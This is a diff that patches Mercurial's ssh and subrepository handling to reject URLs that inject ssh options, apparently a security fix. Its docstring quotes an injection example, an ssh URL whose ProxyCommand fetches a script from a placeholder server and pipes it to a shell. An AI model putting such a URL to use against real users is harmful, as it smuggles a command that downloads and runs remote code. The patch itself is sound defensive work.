--- mercurial/util.py.ori 2017-08-12 17:51:03.108937912 +0200 +++ mercurial/util.py 2017-08-12 18:19:08.909464869 +0200 @@ -2737,6 +2737,21 @@ def urllocalpath(path): return url(path, parsequery=False, parsefragment=False).localpath() +def checksafessh(path): + """check if a path / url is a potentially unsafe ssh exploit (SEC) + + This is a sanity check for ssh urls. ssh will parse the first item as + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. + Let's prevent these potentially exploited urls entirely and warn the + user. + + Raises an error.Abort when the url is unsafe. + """ + path = urlreq.unquote(path) + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): + raise error.Abort(_('potentially unsafe url: %r') % + (path,)) + def hidepassword(u): '''hide user credential in a url string''' u = url(u) --- mercurial/subrepo.py.ori 2017-08-12 18:19:56.270883061 +0200 +++ mercurial/subrepo.py 2017-08-12 18:22:04.264715713 +0200 @@ -1256,6 +1256,10 @@ # The revision must be specified at the end of the URL to properly # update to a directory which has since been deleted and recreated. args.append('%s@%s' % (state[0], state[1])) + + # SEC: check that the ssh url is safe + util.checksafessh(state[0]) + status, err = self._svncommand(args, failok=True) _sanitize(self.ui, self.wvfs, '.svn') if not re.search('Checked out revision [0-9]+.', status): @@ -1517,6 +1521,9 @@ def _fetch(self, source, revision): if self._gitmissing(): + # SEC: check for safe ssh url + util.checksafessh(source) + source = self._abssource(source) self.ui.status(_('cloning subrepo %s from %s\n') % (self._relpath, source)) --- mercurial/sshpeer.py.ori 2017-08-12 18:20:16.541490045 +0200 +++ mercurial/sshpeer.py 2017-08-12 18:22:54.416217452 +0200 @@ -130,6 +130,8 @@ if u.scheme != 'ssh' or not u.host or u.path is None: self._abort(error.RepoError(_("couldn't parse location %s") % path)) + util.checksafessh(path) + self.user = u.user if u.passwd is not None: self._abort(error.RepoError(_("password in URL not supported"))) @@ -140,10 +142,7 @@ sshcmd = self.ui.config("ui", "ssh", "ssh") remotecmd = self.ui.config("ui", "remotecmd", "hg") - args = util.sshargs(sshcmd, - _serverquote(self.host), - _serverquote(self.user), - _serverquote(self.port)) + args = util.sshargs(sshcmd, self.host, self.user, self.port) if create: cmd = '%s %s %s' % (sshcmd, args, --- mercurial/posix.py.ori 2017-08-12 18:20:31.831947902 +0200 +++ mercurial/posix.py 2017-08-12 18:24:16.778683716 +0200 @@ -23,6 +23,7 @@ from .i18n import _ from . import ( encoding, + error, pycompat, ) @@ -91,7 +92,13 @@ def sshargs(sshcmd, host, user, port): '''Build argument list for ssh''' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s -p %s" % (args, port)) or args + if '-' in args[:1]: + raise error.Abort( + _('illegal ssh hostname or username starting with -: %s') % args) + args = shellquote(args) + if port: + args = '-p %s %s' % (shellquote(port), args) + return args def isexec(f): """check whether a file is executable"""